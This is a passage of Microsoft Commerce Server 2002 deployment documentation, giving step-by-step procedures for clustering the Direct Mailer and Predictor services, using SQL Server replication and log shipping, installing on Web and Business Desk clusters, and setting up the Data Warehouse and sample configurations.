You can install the Commerce Server 2002 Direct Mailer and Predictor resources as highly available clustered resources to take advantage of Microsoft Cluster Server (MSCS). Installing Commerce Server resources on a MSCS cluster server provides high availability support. For example, during an operating system failover, you can configure the Direct Mailer and Predictor resources to fail over to another node in the cluster configuration.

This section contains the requirements and installation procedures to install Microsoft Commerce Server 2002 resources as clustered resources.

Note

  • Commerce Server 2002 does not allow automated electronic software distribution or silent installation for clustered resources.

Prerequisites

Before installing the DirectMailer and Predictor resources as clustered, note the following:

  • Microsoft Windows 2000 Advanced Server or Microsoft Windows 2000 Datacenter Server is required.

    Note

    • Advanced Server clusters can contain up to two cluster nodes and Datacenter Server clusters can contain up to four cluster nodes.
  • Install and configure the Microsoft cluster service for the nodes on which the Commerce Server 2002 resources will be installed. For information about installing cluster nodes, see "Installation and upgrading of cluster nodes" in Windows 2000 Help.
  • Allocate a cluster disk resource, and a unique IP address and network name for each resource that will be installed. You must choose an IP address and network name that is not already on the Network segment.
  • Point the cluster nodes to the server running SQL Server.

To ensure that the cluster node on which you are installing resources is hosting the cluster group

To install the Direct Mailer and Predictor resources as clustered

To install the resources on the second node of the cluster

To ensure that the cluster node on which you are installing resources is hosting the cluster group

  1. To open the Cluster Administrator, click Start, point to Programs, point to Administrative Tools, and then click Cluster Administrator.
  2. If the other node is hosting the cluster group, right-click Cluster Group, and then select Move Group.

To install the Direct Mailer and Predictor resources as clustered

Notes

  • Each virtual server group represents one service.
  • If a leading 0 (zero) is entered during cluster setup of Direct Mailer or Predictor, the service will not start. For more information, see the Knowledge Base article "Ping and FTP Resolve IP Address with Leading Zero as Octal" available at http://go.microsoft.com/fwlink/?linkid=5593.
  1. After you install Commerce Server, if an MSCS cluster server exists, the Virtual Server Resource Group dialog box appears. In the Direct Mailer Virtual Server Resource Group dialog box, click Yes to create a virtual server resource group for Direct Mailer, and then do the following:
    Note
    • If the Direct Mailer resource is already installed on a node in the cluster, the fields in the dialog box will appear dimmed, and Setup will add the node as a "possible owner" to each resource in the Direct Mailer group.
    Use this | To do this
    IP Address | Type the Internet Protocol (IP) address for the Direct Mailer service.
    Netmask Type the netmask address for the Direct Mailer service.

    The netmask address should match the netmask used by the IP resource of the cluster group. For information about the netmask, see the "TCP/IP" topic in Windows 2000 Help.
    Network Name | Type the network name for this resource group.
  2. Click Next.
  3. In the Predictor Virtual Server Resource Group dialog box, click Yes to create a virtual server resource group for Predictor, and then do the following:
    Note
    • If the Predictor resource is already installed on a node in the cluster, the fields in the dialog box will appear dimmed, and Setup will add the node as a ‘possible owner’ to each resource in the Predictor group.
    Use this | To do this
    IP Address | Type the Internet Protocol (IP) address for the Predictor service.
    Netmask Type the netmask address for the Predictor service.

    The netmask address should match the netmask used by the IP resource of the cluster group. For information about the netmask, see the "TCP/IP" topic in Windows Advanced Server 2000 Help.
    Network Name | Type the network name for this resource group.
  4. Click Next.

    The Commerce DirectMailer and Commerce Predictor cluster groups are created on the cluster. The virtual IP addresses and network names are registered to the Domain Name System (DNS) computer configured by the network interface card (NIC). The virtual IP addresses are assigned to the specified NIC.

    Note
    • After you create the clustered resources, you can move them to another resource group after setup is complete.
  5. To begin the installation process, click Install.
  6. To exit the Setup program, click Finish.

    The PuP Packages window opens and displays the Blank Solution Site.

To install the resources on the second node of the cluster

  1. To open the Cluster Administrator, click Start, point to Programs, point to Administrative Tools, and then click Cluster Administrator.
  2. Right-click the Cluster Group, and then select Move Group to install the resources on the second cluster node.

    For information about installing cluster nodes, see "Installation and upgrading of cluster nodes" in Windows 2000 Help.

  3. Repeat steps 1 – 6 above to install the resources on the second node of the cluster.

It is recommended that you restart your computer after installing Commerce Server 2002.


Using SQL Server Replication

You can use SQL Server replication to synchronize the database servers in your installation. SQL Server replication options include snapshot replication and transactional replication. You should consider using SQL Server replication to do batch updates if your application logic is aware of the nature of database access.

For example, you can update the Product Catalog system in Commerce Server primarily in batch mode, and have all client access be read-only. Another example is creating and changing the OrderForm object a few times from known pipeline components. OrderForm objects are frequently read from other pipeline components in the site during check out, for operations like tax and shipping calculations. In both examples, you might consider having a small number of stores updated with reads directed to a bank of read-only servers.

You should also consider using SQL Server replication to keep geographically distributed servers synchronized.

The following figure illustrates how you might cluster SQL Servers in the database tier.

SQL Server cluster

If you place Network Load Balancing in front of a group of read-only servers running SQL Server, you can use the same server name for the entire cluster. The benefit of doing this is that you can then remove any server in the cluster from service with minimal impact to users. You can also enable replication from the online transaction processing (OLTP) environment to the cluster. Use transactional replication if you require higher transactional consistency to minimize latency between the OLTP server and the load-balanced, read-only servers.

Consider the following for installations of Network Load Balancing query clusters:

  • With any installation of Network Load Balancing, there are at least two dedicated IP addresses (one per server) and one virtual IP address. For replication between the OLTP environment and the cluster to work correctly, replication must always be made directly to the dedicated IP addresses (or individual server names) and never be made directly to the virtual IP address or to the cluster name.

    Because you use Network Load Balancing to balance the load across the cluster, replicating directly to the virtual IP address (or cluster name) would cause transactional inconsistency between servers in the cluster.

  • Although you can use either the push or pull metaphor for this configuration, best practice is to push all replication to servers in the cluster. The reason for using the push metaphor is to allow you to manage the distribution jobs centrally and to provide a means of alerting you if one of the servers in the cluster stops responding. (The replication job will fail for the server that stops responding.)
  • Because replication is occurring between the OLTP environment and the cluster, you cannot set databases on servers in the cluster to read/write. As a result, you must use login permissions to maintain read-only security. All client connections to servers in the cluster must connect through the virtual IP address and have read-only permissions. It is also necessary to ensure that all servers in the read-only cluster include the same subset of logins.

If you want to apply a snapshot to subscribers in the cluster, the best practice is to disconnect servers individually from the cluster, apply the snapshot, and then reconnect each server to the cluster. This produces maximum availability and maintains transactional consistency between servers in the cluster.

See Also

Replicating Catalog Content

Securing Your Site

Securing Your Databases


Using SQL Server Log Shipping

If a single production server provides both read and write access to data, you should log all transactions. You can use SQL Server Log Shipping to transfer files to a nonproduction server that is continuously updated with the transaction log files. This option is inexpensive and easy to manage, and provides a strategy for availability in environments where there is some tolerance for downtime.

You can use this method in combination with other strategies described in this section to recover from disaster when availability is particularly critical. You can also use warm backups to keep geographically dispersed data centers reasonably synchronized. In fact, this is an inexpensive way to maintain a synchronized database in a separate data center for site disaster recovery.

Combining Network Load Balancing and SQL Server Log Shipping provides excellent warm failover capability. In this scenario, you can use Network Load Balancing to provide the same IP address to at least two servers. This makes it easier to fail over to the secondary computer running SQL Server if the primary computer running SQL Server fails. You direct client applications through the Network Load Balancing cluster to one of the computers running SQL Server. If a failure occurs, or when it is time for scheduled downtime, you can use Network Load Balancing to transfer access to another computer running SQL Server in the cluster. Log Shipping synchronizes the servers, based on the shipping frequency of the log.

This section contains:

Retry Code Logic

Considerations for Network Load Balancing and Log Shipping

Retry Code Logic

This section contains examples of retry logic to protect against loss of database connectivity:

  • One retry level
    If (getAuth == error)
   Sleep 1 second
   GetAuth again
Response.write ("Sorry, logins are disabled. Please e-mail questions to mailto:helpdesk.")
  • Two retry levels
    If (getcatalog == error)
   Sleep 1 second
   Getcatalog again
   If (failed again)
      Response.write ("I am retrying your query; please wait.")
      Sleep 10
      Getcatalog again
Response.write ("Sorry, our catalog is temporarily unavailable. Please e-mail questions to mailto:helpdesk.")

Considerations for Network Load Balancing and Log Shipping

In Microsoft SQL Server 2000 Enterprise Edition, you can use log shipping to feed transaction logs from one database to another on a constant basis. Continually backing up the transaction logs from a source database and then copying and restoring the logs to a destination database keeps the destination database synchronized with the source database.

When you set up Network Load Balancing and log shipping, consider the following:

  • To set up log shipping within a Network Load Balancing cluster, the servers running SQL Server must communicate over a private network that is isolated from the Network Load Balancing network. To create the private network, you must install a secondary network interface card (NIC) into both of the servers running SQL Server.
  • You must set up log shipping with a hard IP address instead of using universal naming convention (UNC) server names, or do one of the following:
    • Create an Lmhosts file to resolve the IP addresses to a UNC server name. An Lmhosts file is a local text file that maps IP addresses to the computer names of Windows 2000–based networking computers outside of the local subnet. For more information, see Microsoft Windows 2000 documentation.
    • Register the IP addresses in Windows Internet Name Service (WINS) to resolve the UNC name, if a WINS server exists on the private network.
  • When you set up the servers running SQL Server in the Network Load Balancing cluster, the primary computer running SQL Server is connected to the cluster. You must then disconnect the secondary computer, running Log Shipping SQL Server, from the cluster. The servers stay synchronized by having the primary server "log ship" the data to the secondary server.
  • If you do not isolate the communications between the servers running SQL Server, Network Load Balancing attempts to communicate directly to the IP address on the second NIC card, causing looped traffic and other problems.

If the primary computer running SQL Server fails, Network Load Balancing can automatically fail over to a secondary server. Depending on the log shipping frequency, however, it is considered a best practice to make the decision manually to fail over to the secondary server. For example, if you have set log shipping to run every five minutes, the secondary server could be as much as five minutes behind (assuming all processes are functioning properly). Failing over the system manually enables you to check to see if the latest transaction log can be applied so that more data can be saved, instead of failing over automatically and perhaps losing up to five minutes of data.

You install stored procedures to facilitate failover when you install SQL Server Log Shipping. For more information about log shipping, see SQL Server Books Online.

See Also

Securing Your Site

Securing Your Databases


Installing Commerce Server 2002

This section describes how to install Microsoft Commerce Server 2002 on the Web cluster and Business Desk cluster.

This section contains:

  • Installing Commerce Server 2002 on the Business Desk Cluster
  • Installing Commerce Server 2002 on the Web Cluster


Installing Commerce Server 2002 on the Business Desk Cluster

Use the following procedure to install Microsoft Commerce Server 2002 on the Business Desk cluster.

To install Commerce Server 2002 on the Business Desk cluster

  1. Insert the Commerce Server 2002 CD into the CD-ROM drive.
  2. Run Microsoft Commerce Server 2002.msi.

    The Commerce Server 2002 Autorun Menu appears.

  3. Click Commerce Server 2002 Components.
  4. In the Commerce Server Setup dialog box that instructs you to install Windows 2000 patches that have been released after Windows 2000 Service Pack 2, click OK.
  5. In the Commerce Server Setup dialog box that asks if you want to install the .NET Framework, click No.

    The Microsoft Commerce Server 2002 Setup Wizard starts.

  6. In the Welcome to the Microsoft Commerce Server 2002 Setup Wizard screen, click Next.
  7. In the CPU License screen, select I have purchased the licenses, and then click Next.
  8. In the Prerequisites screen, click Next.
  9. In the License Agreement screen, read the license agreement, select I accept the terms in the license agreement, and then click Next.
  10. In the Customer Information screen, enter a User Name, Organization, and Product key, and then click Next.
  11. In the Destination Folder screen, click Change to modify the installation folder. Or, to accept the default installation folder, click Next.
  12. In the Setup Type screen, select Custom, and then click Next.
  13. In the Custom Setup screen, expand Commerce Server Core, and then expand Run-time Objects.
  14. Make sure that the check boxes for Analysis and Data Warehouse, Predictor Service, and Direct Mailer Service are clear, and then click Next.
  15. In the Administration Database Configuration screen, do the following:
    Use this | To do this
    SQL Server Computer | Type the cluster name of the database server cluster. Use the cluster name referenced by SQL Server, not the cluster name referenced by Cluster Service.
    Use Windows Integrated Security Check this option if you want Windows user accounts to authenticate to the Administration database on SQL Server.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
    Use a Specific User Name and Password | Check this option if you want to use SQL Server authentication when connecting to the Administration database.
    SQL Server Login Name | Type the SQL Server login name that will be used to access the Administration database. To avoid OLAP errors, you should avoid special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the password for the SQL Server login. To avoid OLAP errors, you should avoid special characters (such as #, @, %, and ').
  16. Click Next.
  17. If a dialog box appears, informing you that a new administration database will be created, click OK.
  18. In the Services Accounts screen, select the Use the same account for each service and set all to auto start option. In the Service Settings section, do the following:
    Use this | To do this
    Username | Type the Windows user name of the account under which the Commerce Server services will run on this computer.
    Password | Type the password of the Windows account.
    Domain | Type the domain of the Windows account.
  19. Click Next.
  20. In the Ready to Install screen, click Install.

    The installation process starts.

  21. In the Completing the Microsoft Commerce Server 2002 Setup Wizard screen, click Finish.
  22. Restart the server.
  23. Repeat steps 1-22 on the second server running Business Desk.

Installation of Commerce Server 2002 is complete on the Business Desk cluster after both servers have restarted.


Installing Commerce Server2002 on the Web Cluster

Send feedback about this page Commerce Server 2002

Installing Commerce Server 2002 on the Web Cluster

Use the following procedure to install Commerce Server 2002 on the Web cluster.

To install Commerce Server 2002 on the Web cluster

  1. Insert the Commerce Server 2002 CD into the CD-ROM drive.
  2. Run Microsoft Commerce Server 2002.msi.

    The Commerce Server 2002 Autorun Menu appears.

  3. Click Commerce Server 2002 Components.
  4. In the Commerce Server Setup dialog box that instructs you to install Windows 2000 patches that have been released after Microsoft Windows 2000 Service Pack 2, click OK.
  5. In the Commerce Server Setup dialog box that asks if you want to install the .NET Framework, click No.

    The Microsoft Commerce Server 2002 Setup Wizard starts.

  6. In the Welcome to the Microsoft Commerce Server 2002 Setup Wizard screen, click Next.
  7. In the CPU License screen, select I have purchased the licenses, and then click Next.
  8. In the Prerequisites screen, click Next.
  9. In the License Agreement screen, read the license agreement, select I accept the terms in the license agreement, and then click Next.
  10. In the Customer Information screen, enter a User Name, Organization, Product key, and then click Next.
  11. In the Destination Folder screen, click Change to modify the installation folder. Otherwise, click Next to accept the default installation folder.
  12. In the Setup Type screen, select Web Server, and then click Next.
  13. In the Administration Database Configuration screen, do the following:
    Use this | To do this
    SQL Server Computer | Type the cluster name of the database server cluster. Use the cluster name referenced by SQL Server, not the cluster name referenced by Cluster Service.
    Use Windows Integrated Security Check this option if you want Windows user accounts to authenticate to the Administration database on SQL Server.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
    Use a Specific User Name and Password | Check this option if you want to use SQL Server authentication when connecting to the Administration database.
    SQL Server Login Name | Type the SQL Server login name that will be used to access the Administration database. To avoid OLAP errors, you should avoid special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the password for the SQL Server login. To avoid OLAP errors, you should avoid special characters (such as #, @, %, and ').
  14. Click Next.
  15. If a dialog box appears, informing you that a new administration database will be created, click OK.
  16. In the Services Accounts screen, check the Use the same account for each service and set all to auto start check box. In the Service Settings section, do the following:
    Use this | To do this
    Username | Type the Windows user name of the account under which the Commerce Server services will run on this computer.
    Password | Type the password of the Windows account.
    Domain | Type the domain of the Windows account.
  17. Click Next.
  18. In the Ready to Install screen, click Install.

    The installation process starts.

  19. In the Completing the Microsoft Commerce Server 2002 Setup Wizard screen, click Finish.
  20. Restart the server.
  21. Repeat steps 1-20 on each server in the Web cluster.

Installation of Commerce Server 2002 is complete on the Web cluster after each server has restarted.


Unpacking a Site

Use the following procedure on each server to unpack your site.

To unpack your site on a server

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, and then click Commerce Sites.
  3. Right-click Commerce Sites, point to New, and then click Unpack Site.
  4. In the Unpack Site From dialog box, navigate to the folder that contains the package file you want to unpack, select the package file, and then click Open.

    Commerce Server Site Packager is started.

  5. In the Unpack dialog box, select Quick Unpack, and then click Next.
  6. In the Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name Type the name for the site, if you want to change it. Do not use special characters (such as #, @, %, and ') that might not be recognized by SQL Server databases. For more information, see SQL Books Online.

    Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause the overwriting of your OLAP database the next time you unpack a site.

    The site name can contain a maximum of 127 characters.
    IIS Web site Select the name of the IIS Web site where the application(s) will be installed.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    SQL Server Computer | Type the name of the computer running SQL Server that will contain the databases for the site.
    Use Windows Integrated security Select this option if you want to use integrated Windows authentication.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type the SQL Server login name for the databases.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  7. Click Next.
  8. If the Data Warehouse resource was installed during the installation process, the Data Warehouse dialog box appears. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for your global Data Warehouse resource.
    Server | Type the name of the SQL Analysis online analytical processing (OLAP) computer.
    Database | Type the name of the analysis database to use.
  9. Click OK.
  10. If the Profiles resource was installed during the installation process, the first of two Profiling System dialog boxes appears. To specify the settings for the Profiles resource, do the following:
    Use this | To do this
    Profile Schema Definition | Specify the profile schema definition to import.
    Site Terms Definition | Specify the site terms definition to import.
    Expression Definition | Specify the expression definition to import.
  11. Click Next.
  12. If the Profiles resource was installed during the installation process, the second of two Profiling System dialog boxes appears. To specify the settings for the Profiles resource, do the following:
    Use this | To do this
    Profiling System Connection String | Specify the files to import into the OLEDB data store. Click Modify to specify a different database.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition scripts to import.

    Site Packager uses a default schema definition script. If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) | Specify the data population scripts to import.
  13. Click OK.
    Note
    • If you are using Windows integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts.
  14. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  15. To close Site Packager, click Finish.

The process of unpacking your site is complete. For instructions on accessing Commerce Server Business Desk for this site, see Installing the Business Desk Client.


Installing the Business Desk Client

Before you install the Commerce Server Business Desk client, you must install the following software on the client computer:

  • Microsoft Windows 98, Microsoft Windows NT Workstation 4.0, Microsoft Windows NT Server 4.0, Microsoft Windows Millennium Edition, Microsoft Windows NT 4.0, Microsoft Windows 2000 Professional, Microsoft Windows 2000 Server, Microsoft Windows 2000 Advanced Server with Service Pack 1 or later, or Microsoft Windows XP Professional.
  • Microsoft Internet Explorer 5.5 Service Pack 2 or greater. You must install Internet Explorer 5.5 Service Pack 2 or later to access the Business Desk application, even if the application and client are on the same computer.
  • Microsoft Office XP Web Components. In order for Business Desk users to use Analysis Services over HTTPS, your Commerce Server installation must use Microsoft SQL Server 2000 Enterprise Edition. You cannot connect to Microsoft SQL Server 2000 Standard Edition with HTTP connectivity.

    Microsoft Office XP Web Components include the pivot table services that are required to run the dynamic reports in Analysis. Installing Microsoft Office XP, or Microsoft Excel XP, Access XP, or Microsoft FrontPage XP automatically installs Microsoft Office XP Web Components.

  • For more information about enabling a Business Desk user to run dynamic reports over HTTPS, see Accessing the Analysis Server Over HTTPS.

Install the Business Desk client on any computer from which you want to access Business Desk. Use the following procedure to install the Business Desk client.

To install the Business Desk client

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type the URL for your installation of Business Desk (for example, http://<computername>/<sitename>Bizdesk), and then press Enter.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup program starts. This program requires Microsoft ActiveX controls. If these controls are not installed, follow the online instructions to install them.

  4. When you have completed the Business Desk installation, close Internet Explorer. The Business Desk icon now appears as a shortcut on your desktop and the Start menu.
  5. To start Business Desk, double-click the Business Desk icon on your desktop or click Start, and then click the Business Desk shortcut.

See Also

Securing Your Site

Business Desk Security


Installing the Business Analytics Stand-alone Feature

You can install Commerce Server 2002 to use Business Analytics functionality as a stand-alone feature. You use the Data Warehouse Configurator (DWC) to configure the distributed installation of the Data Warehouse and your non-Commerce applications and Web servers. By adding a non-Commerce application and Web server you can make your Web server log files available to the Data Warehouse for import.

The following procedures describe how to install Commerce Server on one computer using the Business Analytics installation option. You must close all other applications before proceeding.

Notes

  • Unpack the Blank Solution Site for the Data Warehouse, Predictor resources, and the Commerce Server Business Desk Analysis modules.
  • You can install Commerce Server on only one site using the Business Analytics option. The Business Analytics option will be unavailable for installation on a subsequent site.
  • If you install Commerce Server 2002 on a computer on which Commerce Server 2000 Service Pack 1 has been installed, the <drive letter>:\<commerce_server_root>\sp1 folder contains Service Pack 1 files that can be safely deleted.

This section contains:

  • Installing Commerce Server Using the Business Analytics Option
  • Configuring the Distributed Installation of the Data Warehouse


Installing Commerce Server Using the Business Analytics Option

After you have completed the Data Warehouse configuration, any additional changes to the configuration must be made manually using Commerce Server Manager or Commerce Server Site Packager.

To install Commerce Server using the Business Analytics option

Notes

  • Do not use "localhost" as the computer name in the URL or when you are prompted for the SQL Server name.
  • Internet Information Services (IIS) 5.0 must be installed on your local computer if you want to install the Business Analytics feature on a remote computer.
  1. Insert the Commerce Server 2002 CD into the appropriate drive. The Commerce Server 2002 Setup program starts.

    If the original equipment manufacturer (OEM) pre-installed Commerce Server on your computer, navigate to the Microsoft Commerce Server 2002 folder on your computer, and double-click Setup.exe. The Commerce Server 2002 Setup program starts.

  2. Click the Commerce Server Installation link, and then follow the online prompts.
  3. In the Customer Information screen, type the 25-character Product key, and then click Next.
  4. In the Destination Folder screen, accept the default installation folder, or click Change to specify a different folder, and then click Next.
  5. In the Setup Type screen, select Business Analytics, and then click Next.
  6. In the Administration Database Configuration screen, do the following:
    Use this | To do this
    SQL Server Computer | Type the name of the computer running SQL Server for your Administration database. If SQL Server was installed locally, the local computer name is displayed.
    Use Windows Integrated Security Check this option if you want to use Windows integrated security when connecting to the Administration database.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL Server password resets. For information about Commerce Server security, see Securing Your Site.
    Use a Specific User Name and Password | Check this option if you want to use SQL Server authentication when connecting to the Administration database.
    SQL Server Login Name Type the user account for the Administration database.

    Note

    • For security purposes, do not use the sa login for access to the Administration database. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the login password for the Administration database.

    Notes

    • If you are creating the Administration database, in the SQL Server Login Name and SQL Server Login Password boxes type a SQL Server login that has permissions on the master database to create a new database. To view the permissions for the SQL Server login for the master database, use Enterprise Manager.
    • If the Administration database already exists, in the SQL Server Login Name and SQL Server Login Password boxes type a SQL Server login that has full permissions on the existing Administration database.
  7. Click Next.
  8. In the Services Accounts screen, type the Username, Password, and Domain of the Windows account under which the Commerce Server services will run on this computer, and then click Next.

    Commerce Server Setup automatically grants the logon as a service right to the account(s) you specify. Commerce Server 2002 Direct Mailer, the List Manager service, Predictor resource, and Event Logging require an account for security and network access.

    Note

    • Use a permanent account to run the Commerce Server services. If this account is disabled at a later date, or if the password is changed, Commerce Server will stop working. For instructions about changing a service account or password, see Changing a Service Account or Password.
  9. Click Install to begin the installation process.

When the installation process is complete, the Data Warehouse Configurator dialog box appears. Use the following procedures to configure the distributed installation of the Data Warehouse.

See Also

Configuring the Distributed Installation of the Data Warehouse


Configuring the Distributed Installation of the Data Warehouse

You use the Data Warehouse Configurator (DWC) to configure the distributed installation of the Data Warehouse and your non-Commerce applications and Web servers.

To create the site and the Data Warehouse global resource

To add a non-Commerce application to a site

To add a non-Commerce Web server to an application

To create the site and the Data Warehouse global resource

  1. In the Data Warehouse Configurator dialog box, in the Site box, type the name of the site you want to create.
  2. In the DW box, type the name of the Data Warehouse global resource you want to create.

To add a non-Commerce application to a site

  1. In the Non-Commerce applications section, click Configure.

    The Non-Commerce applications and Web servers dialog box appears, which allows you to create multiple non-Commerce applications and servers within those applications.

  2. In the Non-Commerce applications and Web servers dialog box, in the Non-Commerce applications section, click New.
  3. In the New Non-Commerce Application dialog box, on the General tab, do the following:
    Use this | To do this
    Web servers in this application are running IIS Select this check box if the servers in the non-Commerce application are running Internet Information Services (IIS) 5.0.

    Note

    • You cannot have both IIS and non-IIS servers in a non-Commerce application.
    Nonsecure host name Type the Domain Name System (DNS) domain name used by nonsecured links in the application.

    Caution

    • If you are using a port number other than 80, you must append that number to the end of the server name (for example, www.microsoft.com:81). To view or edit the port number, see the TCP Port box on the Identities tab of the Web Server Properties dialog box.
    IIS application path or Application path Type the path to the application. For example, for the application www.microsoft.com/msn, the path would be /msn.

    Caution

    • If you change this property, you must change the location of the files on the Web server(s) to correspond to it. You must also configure IIS with the new application.
    Enable HTTPS | Select this property if secured links are used in the application.
    Secure host name Type the DNS domain name used by secured links in the application.

    Caution

    • If you are using a port number other than 443, you must append that number to the end of the server name (for example, www.microsoft.com:441). To view or edit the Secure Sockets Layer (SSL) port number, see the SSL Port box on the Identities tab of the Web Server Properties dialog box.
  4. On the Web Servers tab, do the following:
    Use this | To do this
    IIS Web site | Type the name of the IIS Web site (for example, Default Web Site).
    Local domain | Type the name of the local domain (for example, microsoft.com).
  5. Click OK.

To add a non-Commerce Web server to an application

  1. Select the name of the non-Commerce application to which you want to add the Web server.
  2. In the Non-Commerce applications and Web servers dialog box, in the Non-Commerce Web servers for selected application section, click New.

    Note

    • If a non-Commerce application has not been created, the New button is disabled.
  3. In the New Non-Commerce Web server dialog box, on the Identities tab, in the Server name box, type the name of the computer that hosts the non-Commerce Web server.
  4. In the Identities box, click Add.
  5. In the Web Site Configuration dialog box, type the IP address, TCP port, and Host header name in the respective boxes for the non-Commerce Web server, and then click OK.
  6. If you are using a secure HTTP host (SSL) in your applications, in the SSL Identities box, click Add.
  7. In the Identity dialog box, type the IP address and SSL port in the respective boxes for the non-Commerce Web server, and then click OK.
  8. In the New Non-Commerce Web Server dialog box, on the Log Files tab, do the following:
    Use this | To do this
    New Log Time Period | Select the frequency that the Web site writes to a log file before the Web server creates a new file.
    Log file mask | Specify the log file rotation, indicating how long the Web site writes to a log file before the Web server creates a new file.
    Log file directory Type the log file path to which the Web site writes events, for example, C:\Winnt|System32\LogFiles\Log1.

    You may want to specify a different directory if you copy the Web log files from the Web server to a central location before you run the import Data Transformation Services (DTS) tasks.
    Log file code page | Specify the code page used by the entire file.
    URL encoding code page | Specify the code page used for all URLs.
  9. Click OK.
  10. After you create the non-Commerce applications and Web servers, click Close.

    In the Import Server section, the local computer on which Setup is running is displayed, which is a non-editable box.

  11. In the Analysis/Reporting Server section, click Configure.
  12. In the Analysis/Reporting Server dialog box, type the name of the computer that will host the Analysis and Reporting management modules. If SQL Server was installed locally, the local computer name is displayed.
  13. Click OK.

    Note

    • You cannot change the name or location of the site, and Commerce Server and Commerce Server Business Desk must be installed on this computer.
  14. In the Database SQL Server section, to configure the computer that will host the Data Warehouse relational database, click Configure.
  15. In the Data Link Properties dialog box, make the necessary changes, and then click OK.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open Microsoft Data Link Help.
  16. In the Analysis SQL Server section, to configure the computer that will host the Data Warehouse OLAP database, click Configure.
  17. In the Data Link Properties dialog box, make the necessary changes, and then click OK.
  18. Click Next, and then click Yes to restart your computer if prompted.

The Blank Solution Site package is unpacked, which contains the Data Warehouse, Predictor resource, and Business Desk Analysis modules.

See Also

Securing Your Site

Securing Your Web Server


Installing Sample Configurations

To become more familiar with deploying Commerce Server 2002, you may want to experiment with different deployment configurations. This section includes sample configurations for deploying Commerce Server 2002.

This section contains:

  • Installing on a Four-Computer Clustered Configuration. Describes how to install Commerce Server 2002 on a two-server Web cluster and a two-server database cluster.
  • Installing on a Three-Computer Non-Clustered Configuration. Describes how to install Commerce Server 2002 on a Web server, a Data Warehouse database server, and an Administration database server.
  • Installing the Sample Supplier Site. Describes how to configure and install two servers for the Business-to-Business Tutorial.


Installing on a Four-Computer Clustered Configuration

This topic contains procedures describing how to install Commerce Server 2002 and unpack applications on a four-computer configuration consisting of:

  • Two Web servers in a Network Load Balancing (NLB) cluster. These servers also contain the Commerce Server administration tools. For instructions on installing and configuring NLB, see Clustering the Web Servers.
  • Two SQL Server computers configured with Cluster Service. These servers are referred to by their shared cluster name. For instructions on installing Cluster Service, see the Step-by-Step Guide to Installing Cluster Service guide on the Windows 2000 Web site.

To view a figure showing this configuration, see Small Site Configuration.

Note

  • It is strongly recommended that you install Commerce Server using Windows Integrated Security and that you secure your databases using Windows Authentication.

Step 1: To install Commerce Server on the Web servers

Step 2: To install Commerce Server on the SQL Server cluster

Step 3: To unpack your Web site and applications

Step 1: To install Commerce Server on the Web servers

  1. Insert the Commerce Server 2002 compact disc into your CD-ROM drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. In the Setup Type dialog box, select Custom, and then click Next.
  3. In the Custom Setup dialog box, select the Administration Tools, Commerce Site Packages, and Online Documentation options. Optionally, you can also select Predictor Service, if you plan to use it.
  4. Verify that the Analysis and Data Warehouse and Direct Mailer Service options are not selected (each check box should have an X in it, indicating that you are not selecting it).
  5. Click Next.
  6. In the Administration Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Type the computer name for the database server.
    SQL Server Login Name | Type the SQL Server login for this computer. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid online analytical processing (OLAP) errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password Type the SQL Server password for this login name. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').

    Note

    You should always use a strong password when creating SQL Server login passwords. For more information about strong passwords see, Using Strong Passwords.

    The Administration database is located on the SQL Server cluster, and in this step you are pointing this computer to that database.

  7. Click Next.
  8. In the Services Accounts dialog box, do the following:
    Use this | To do this
    Username | Type the Windows user name of the account under which the Commerce Server services will run on this computer.
    Password | Type the password of the Windows account.
    Domain | Type the domain of the Windows account.

    The following figure shows the Services Accounts dialog box.

    Services Accounts dialog box

  9. Click Next.
  10. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs the administration tools and site packages.

  11. To exit the Setup program, click Finish.

Step 2: To install Commerce Server on the SQL Server cluster

  1. Insert the Commerce Server 2002 compact disc into your CD-ROM drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. In the Setup Type dialog box, select Custom, and then click Next.
  3. In the Custom Setup dialog box, select the Analysis and Data Warehouse option.
  4. Verify that you have cleared all the other options (each check box should have an X in it, indicating that you are not selecting it).
  5. Click Next.
  6. In the Administration Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Type the cluster name of this server cluster.
